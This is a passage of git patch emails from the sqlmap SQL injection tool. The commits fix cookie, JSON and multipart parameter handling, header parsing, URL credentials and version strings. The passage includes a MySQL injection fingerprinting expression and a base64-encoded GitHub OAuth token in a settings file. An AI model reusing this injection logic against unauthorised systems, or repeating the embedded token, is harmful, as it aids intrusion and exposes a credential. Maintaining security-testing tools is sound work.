From acae6e3e7c3fd3db803a50eb2a1302c7a9f0a6fc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Mar 2022 14:38:14 +0100 Subject: [PATCH 001/599] Fix for cookie/eval bug (#5013) --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b3a5eb3d53f..c0a8bca4941 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.2" +VERSION = "1.6.3.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 73da27611a0..f89054402f6 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1375,7 +1375,7 @@ def _randomizeParameter(paramString, randomParameter): found = True uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri) - regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) + regex = r"((\A|%s\s*)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True cookie = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie) From b1881129b6201ffd7d2ea01754ca2c76479776a3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Mar 2022 15:12:29 +0100 Subject: [PATCH 002/599] Bug for JSON-like bug (#5013) --- lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index d85f020cbc5..fe81f2a0236 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -129,7 +129,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): origValue = re.split(r"['\">]", origValue)[-1] elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): - origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P[^"\[,]+\Z)', origValue) + origValue = extractRegexResult(r":\s*['\"]?(?P\w+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P[^"\[,]+\Z)', origValue) else: _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" origValue = _.split('=', 1)[1] if '=' in _ else "" diff --git a/lib/core/settings.py b/lib/core/settings.py index c0a8bca4941..105e721daaf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.3" +VERSION = "1.6.3.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0b775b6d1dd97859993891e4405cc2225bcaf4e7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Mar 2022 17:30:49 +0100 Subject: [PATCH 003/599] Fix for json/eval bug (#5013) --- lib/core/settings.py | 2 +- lib/request/connect.py | 11 +++++++++++ 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 105e721daaf..7bb0d643818 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.4" +VERSION = "1.6.3.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index f89054402f6..9b760d00634 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1357,6 +1357,17 @@ def _randomizeParameter(paramString, randomParameter): found = True post = re.sub(r"(?s)(\b%s>)(.*?)()" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) + elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + match = re.search(r"['\"]%s['\"]:" % re.escape(name), post) + if match: + quote = match.group(0)[0] + post = post.replace("\\%s" % quote, BOUNDARY_BACKSLASH_MARKER) + match = re.search(r"(%s%s%s:\s*)(\d+|%s[^%s]*%s)" % (quote, re.escape(name), quote, quote, quote, quote), post) + if match: + found = True + post = post.replace(match.group(0), "%s%s" % (match.group(1), value if value.isdigit() else "%s%s%s" % (match.group(0)[0], value, match.group(0)[0]))) + post = post.replace(BOUNDARY_BACKSLASH_MARKER, "\\%s" % quote) + regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name) if not found and re.search(regex, (post or "")): found = True From a2fcab448c99ac5d79321e024810dce197c9238d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Mar 2022 18:34:34 +0100 Subject: [PATCH 004/599] Fixes #5018 --- lib/core/compat.py | 19 +++++++++++++++++++ lib/core/settings.py | 2 +- lib/request/connect.py | 6 +++--- 3 files changed, 23 insertions(+), 4 deletions(-) diff --git a/lib/core/compat.py b/lib/core/compat.py index 8f2751f587a..c1998109f31 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -167,8 +167,27 @@ def whseed(self, a=None): def patchHeaders(headers): if headers is not None and not hasattr(headers, "headers"): + if isinstance(headers, dict): + class _(dict): + def __getitem__(self, key): + for key_ in self: + if key_.lower() == key.lower(): + return super(_, self).__getitem__(key_) + + raise KeyError(key) + + def get(self, key, default=None): + try: + return self[key] + except KeyError: + return default + + headers = _(headers) + headers.headers = ["%s: %s\r\n" % (header, headers[header]) for header in headers] + return headers + def cmp(a, b): """ >>> cmp("a", "b") diff --git a/lib/core/settings.py b/lib/core/settings.py index 7bb0d643818..488076d864d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.5" +VERSION = "1.6.3.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 9b760d00634..9f2a07f2fba 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -642,7 +642,7 @@ class _(dict): if hasattr(conn, "redurl"): responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl - patchHeaders(responseHeaders) + responseHeaders = patchHeaders(responseHeaders) kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader) else: code = None @@ -724,7 +724,7 @@ class _(dict): page = ex.read() if not skipRead else None responseHeaders = ex.info() responseHeaders[URI_HTTP_HEADER] = ex.geturl() - patchHeaders(responseHeaders) + responseHeaders = patchHeaders(responseHeaders) page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling) except socket.timeout: warnMsg = "connection timed out while trying " @@ -1535,7 +1535,7 @@ def _(value): kb.permissionFlag = True singleTimeWarnMessage("potential permission problems detected ('%s')" % message) - patchHeaders(headers) + headers = patchHeaders(headers) if content or response: return page, headers, code From acd5ef055a5221bd6d7b800f6423840371e9bda4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Mar 2022 20:17:51 +0100 Subject: [PATCH 005/599] Minot improvement of JSON/eval (#5013) --- lib/core/common.py | 33 +++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- lib/request/connect.py | 16 +++++++++++++++- 3 files changed, 49 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 5b1929a39f2..6de20fc14d5 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -104,6 +104,7 @@ from lib.core.optiondict import optDict from lib.core.settings import BANNER from lib.core.settings import BOLD_PATTERNS +from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES @@ -1384,6 +1385,38 @@ def banner(): dataToStdout(result, forceOutput=True) +def parseJson(content): + """ + This function parses POST_HINT.JSON and POST_HINT.JSON_LIKE content + + >>> parseJson("{'id':1}")["id"] == 1 + True + >>> parseJson('{"id":1}')["id"] == 1 + True + """ + + quote = None + retVal = None + + for regex in (r"'[^']+'\s*:", r'"[^"]+"\s*:'): + match = re.search(regex, content) + if match: + quote = match.group(0)[0] + + try: + if quote == '"': + retVal = json.loads(content) + elif quote == "'": + content = content.replace('"', '\\"') + content = content.replace("\\'", BOUNDARY_BACKSLASH_MARKER) + content = content.replace("'", '"') + content = content.replace(BOUNDARY_BACKSLASH_MARKER, "'") + retVal = json.loads(content) + except: + pass + + return retVal + def parsePasswordHash(password): """ In case of Microsoft SQL Server password hash value is expanded to its components diff --git a/lib/core/settings.py b/lib/core/settings.py index 488076d864d..a7ac99f878c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.6" +VERSION = "1.6.3.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 9f2a07f2fba..d3b29ff5afb 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -46,6 +46,7 @@ class WebSocketException(Exception): from lib.core.common import logHTTPTraffic from lib.core.common import openFile from lib.core.common import popValue +from lib.core.common import parseJson from lib.core.common import pushValue from lib.core.common import randomizeParameterValue from lib.core.common import randomInt @@ -1291,6 +1292,13 @@ def _randomizeParameter(paramString, randomParameter): value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus)) variables[name] = value + if post and kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + for name, value in (parseJson(post) or {}).items(): + if safeVariableNaming(name) != name: + conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) + name = safeVariableNaming(name) + variables[name] = value + if cookie: for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER): if '=' in part: @@ -1393,7 +1401,13 @@ def _randomizeParameter(paramString, randomParameter): if not found: if post is not None: - post += "%s%s=%s" % (delimiter, name, value) + if kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + match = re.search(r"['\"]", post) + if match: + quote = match.group(0) + post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, value if value.isdigit() else "%s%s%s" % (quote, value, quote))), post) + else: + post += "%s%s=%s" % (delimiter, name, value) elif get is not None: get += "%s%s=%s" % (delimiter, name, value) elif cookie is not None: From 02ff0eef88afceb39a18337c22cecbcb7fd8803b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Mar 2022 20:25:34 +0100 Subject: [PATCH 006/599] Fixes #5019 --- lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index fe81f2a0236..b0731ca409e 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -398,7 +398,7 @@ def adjustLateValues(self, payload): """ if payload: - for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload): + for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload): _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe) payload = payload.replace(match.group(0), _) diff --git a/lib/core/settings.py b/lib/core/settings.py index a7ac99f878c..401c93b13b0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.7" +VERSION = "1.6.3.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 445d69f6786ccf65ea42209ec6a1ffd8403247fa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Mar 2022 22:05:00 +0100 Subject: [PATCH 007/599] Implementation for multipart/eval (#5021) --- lib/core/settings.py | 2 +- lib/request/connect.py | 22 +++++++++++++++++++++- 2 files changed, 22 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 401c93b13b0..0fc31362e75 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.8" +VERSION = "1.6.3.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index d3b29ff5afb..61906643ddc 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1356,7 +1356,27 @@ def _randomizeParameter(paramString, randomParameter): found = False value = getUnicode(value, UNICODE_ENCODING) - if kb.postHint and re.search(r"\b%s\b" % re.escape(name), post or ""): + if kb.postHint == POST_HINT.MULTIPART: + boundary = "--%s" % re.search(r"boundary=([^\s]+)", contentType).group(1) + if boundary: + parts = post.split(boundary) + match = re.search(r'\bname="%s"' % re.escape(name), post) + if not match and parts: + parts.insert(2, parts[1]) + parts[2] = re.sub(r'\bname="[^"]+".*', 'name="%s"' % re.escape(name), parts[2]) + for i in xrange(len(parts)): + part = parts[i] + if re.search(r'\bname="%s"' % re.escape(name), part): + match = re.search(r"(?s)\A.+?\r?\n\r?\n", part) + if match: + found = True + first = match.group(0) + second = part[len(first):] + second = re.sub(r"(?s).+?(\r?\n?\-*\Z)", r"%s\g<1>" % re.escape(value), second) + parts[i] = "%s%s" % (first, second) + post = boundary.join(parts) + + elif kb.postHint and re.search(r"\b%s\b" % re.escape(name), post or ""): if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP): if re.search(r"<%s\b" % re.escape(name), post): found = True From dd55d97f7757d1cd60489acde531d9360df76106 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Mar 2022 23:10:39 +0100 Subject: [PATCH 008/599] Minor updates --- data/html/index.html | 2 +- data/xml/banner/server.xml | 18 +++++++++++++++--- lib/core/settings.py | 4 ++-- sqlmap.py | 6 +++--- 4 files changed, 21 insertions(+), 9 deletions(-) diff --git a/data/html/index.html b/data/html/index.html index a2d4dfc4479..576f2763b8c 100644 --- a/data/html/index.html +++ b/data/html/index.html @@ -1,6 +1,6 @@ - + diff --git a/data/xml/banner/server.xml b/data/xml/banner/server.xml index 5b49ab74234..1122d822c1b 100644 --- a/data/xml/banner/server.xml +++ b/data/xml/banner/server.xml @@ -3,7 +3,7 @@ @@ -97,6 +97,10 @@ + + + + @@ -444,8 +448,12 @@ + + + + - + @@ -764,7 +772,7 @@ - + @@ -869,6 +877,10 @@ + + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 0fc31362e75..336b1eba5f9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.9" +VERSION = "1.6.3.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -698,7 +698,7 @@ FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Github OAuth token used for creating an automatic Issue for unhandled exceptions -GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw" +GITHUB_REPORT_OAUTH_TOKEN = "Z2hwX2FOMDdpUWx0NDg0ak85QW4yU1pSQjhtazhBaVVlRzNaMUxmMA" # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 diff --git a/sqlmap.py b/sqlmap.py index 7fd96b62212..d2944ad25f6 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -383,17 +383,17 @@ def main(): raise SystemExit elif all(_ in excMsg for _ in ("pymysql", "configparser")): - errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)" + errMsg = "wrong initialization of 'pymsql' detected (using Python3 dependencies)" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("ntlm", "socket.error, err", "SyntaxError")): - errMsg = "wrong initialization of python-ntlm detected (using Python2 syntax)" + errMsg = "wrong initialization of 'python-ntlm' detected (using Python2 syntax)" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("drda", "to_bytes")): - errMsg = "wrong initialization of drda detected (using Python3 syntax)" + errMsg = "wrong initialization of 'drda' detected (using Python3 syntax)" logger.critical(errMsg) raise SystemExit From f5ed2c0c97d91f6b562565e487d88e65e6ce550e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 8 Mar 2022 00:51:14 +0100 Subject: [PATCH 009/599] Fixes #4990 --- lib/core/agent.py | 4 +++- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index b0731ca409e..56c387a4518 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -129,7 +129,9 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): origValue = re.split(r"['\">]", origValue)[-1] elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): - origValue = extractRegexResult(r":\s*['\"]?(?P\w+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P[^"\[,]+\Z)', origValue) + match = re.search(r"['\"]", origValue) + quote = match.group(0) if match else '"' + origValue = extractRegexResult(r"%s\s*:\s*(?P\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P[^%s]*)\Z" % quote, origValue) else: _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" origValue = _.split('=', 1)[1] if '=' in _ else "" diff --git a/lib/core/settings.py b/lib/core/settings.py index 336b1eba5f9..2feb7929487 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.10" +VERSION = "1.6.3.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From dcf304c65e0602918570267cbcffc0144dd69e4d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 11 Mar 2022 18:31:05 +0100 Subject: [PATCH 010/599] Minor update related to #5030 --- lib/core/settings.py | 2 +- sqlmap.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2feb7929487..55e3b174691 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.11" +VERSION = "1.6.3.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index d2944ad25f6..368a28086a6 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -429,7 +429,7 @@ def main(): dataToStdout(excMsg) raise SystemExit - elif any(_ in excMsg for _ in ("tamper/", "waf/")): + elif any(_ in "%s\n%s" % (errMsg, excMsg) for _ in ("tamper/", "waf/", "--engagement-dojo")): logger.critical(errMsg) print() dataToStdout(excMsg) From 439d1cce67c40024e0b08fcc5b3430775427ba8d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 15 Mar 2022 11:34:09 +0100 Subject: [PATCH 011/599] Fixes #5031 --- lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 55e3b174691..1953233b5c1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.12" +VERSION = "1.6.3.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 70aba54a1e6..85923e7de3b 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -166,9 +166,8 @@ def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(MYSQL_ALIASES): setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) - if Backend.isVersionGreaterOrEqualThan("5"): + if Backend.isVersionGreaterOrEqualThan("5") or inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): kb.data.has_information_schema = True - self.getBanner() return True From e91b1a0f97fdb628501cccc29d081f96d15c1351 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 15 Mar 2022 21:52:05 +0100 Subject: [PATCH 012/599] Fixes #5032 --- lib/core/option.py | 9 +++++++++ lib/core/settings.py | 2 +- 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index aec32a0c20f..70c839ea9ed 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1839,6 +1839,15 @@ class _(six.text_type): if conf.retries: conf.retries = min(conf.retries, MAX_CONNECT_RETRIES) + if conf.url: + match = re.search(r"\A(\w+://)?([^/@?]+)@", conf.url) + if match: + credentials = match.group(2) + conf.url = conf.url.replace("%s@" % credentials, "", 1) + + conf.authType = AUTH_TYPE.BASIC + conf.authCred = credentials if ':' in credentials else "%s:" % credentials + if conf.code: conf.code = int(conf.code) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1953233b5c1..e59ad9bed97 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.13" +VERSION = "1.6.3.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 32acb1e4ff6898b3403550662125020fafc1480d Mon Sep 17 00:00:00 2001 From: yuya-okabe <36470040+okabe-yuya@users.noreply.github.com> Date: Mon, 21 Mar 2022 22:11:47 +0900 Subject: [PATCH 013/599] fix: corrected text in japanese READ.ME (#5038) The translation has been corrected to be natural from a Japanese point of view. --- doc/translations/README-ja-JP.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index 065c3582e71..2be711be33b 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -23,19 +23,19 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。 -使用法 +使用方法 ---- -基本的なオプションとスイッチの使用法をリストするには: +基本的なオプションとスイッチの使用方法をリストで取得するには: python sqlmap.py -h -全てのオプションとスイッチの使用法をリストするには: +全てのオプションとスイッチの使用方法をリストで取得するには: python sqlmap.py -hh 実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。 -sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) で確認することができます。 +sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用方法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) で確認することができます。 リンク ---- From 7149991fafe456660c4e0751eba42d1ab60cac83 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Mar 2022 14:26:47 +0100 Subject: [PATCH 014/599] Fixes #5042 --- lib/core/common.py | 6 ++++++ lib/core/settings.py | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6de20fc14d5..0bafbcdf44c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5408,6 +5408,12 @@ def _parseBurpLog(content): if conf.scope: logger.info("using regular expression '%s' for filtering targets" % conf.scope) + try: + re.compile(conf.scope) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + for target in _parseBurpLog(content): yield target diff --git a/lib/core/settings.py b/lib/core/settings.py index e59ad9bed97..b159920be05 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.14" +VERSION = "1.6.3.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e1a04a82019bfa887e1530010fd1753fedbcc249 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Mar 2022 14:33:48 +0100 Subject: [PATCH 015/599] Fixes #5044 --- lib/controller/controller.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 58bd28f07e7..c8ab5746366 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -496,7 +496,7 @@ def start(): if skip: continue - if place not in conf.paramDict: + if place not in conf.paramDict or place not in conf.parameters: continue paramDict = conf.paramDict[place] diff --git a/lib/core/settings.py b/lib/core/settings.py index b159920be05..0caa633da60 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.15" +VERSION = "1.6.3.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9bdad4bcd51e14b9f04816ce6995a3b283b0c402 Mon Sep 